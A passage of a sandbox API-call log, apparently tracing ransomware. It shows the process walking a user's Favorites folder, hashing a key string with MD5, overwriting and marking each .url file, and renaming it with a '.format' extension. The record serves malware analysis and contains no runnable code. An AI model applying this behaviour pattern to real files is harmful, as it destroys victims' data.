hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.636] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0067.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0067.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.636] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0067.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0067.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.637] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0067.637] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.637] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.637] PathFindFileNameW (pszPath="") returned="" [0067.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.637] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.638] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.638] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.638] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0067.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0067.638] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.638] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned=".url" [0067.638] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.638] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=133) returned 1 [0067.638] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.640] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.640] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.641] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.641] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.641] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.641] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x85, lpOverlapped=0x0) returned 1 [0067.641] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.641] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.641] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.642] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.642] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0067.642] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.642] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.642] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.642] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.642] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.642] GetLastError () returned 0x0 [0067.642] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.642] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0067.643] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.643] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0067.643] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.643] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.643] WriteFile (in: hFile=0x5c8, lpBuffer=0x313ab18*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x313ab18*, lpNumberOfBytesWritten=0x38cfb24*=0x80, lpOverlapped=0x0) returned 1 [0067.643] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.643] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.643] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.643] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.643] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.643] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.643] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.643] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.643] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.643] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.643] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.643] CloseHandle (hObject=0x5c8) returned 1 [0067.644] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edca8 [0067.644] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0067.644] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edca8 | out: hHeap=0x5d0000) returned 1 [0067.644] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url.format")) returned 1 [0067.645] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.645] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.645] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0067.646] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0067.646] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.646] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0067.646] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.646] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned=".url" [0067.646] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.646] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=133) returned 1 [0067.646] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.648] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.648] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.650] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.650] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.650] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.650] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x85, lpOverlapped=0x0) returned 1 [0067.650] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.650] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.650] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.650] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.650] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, 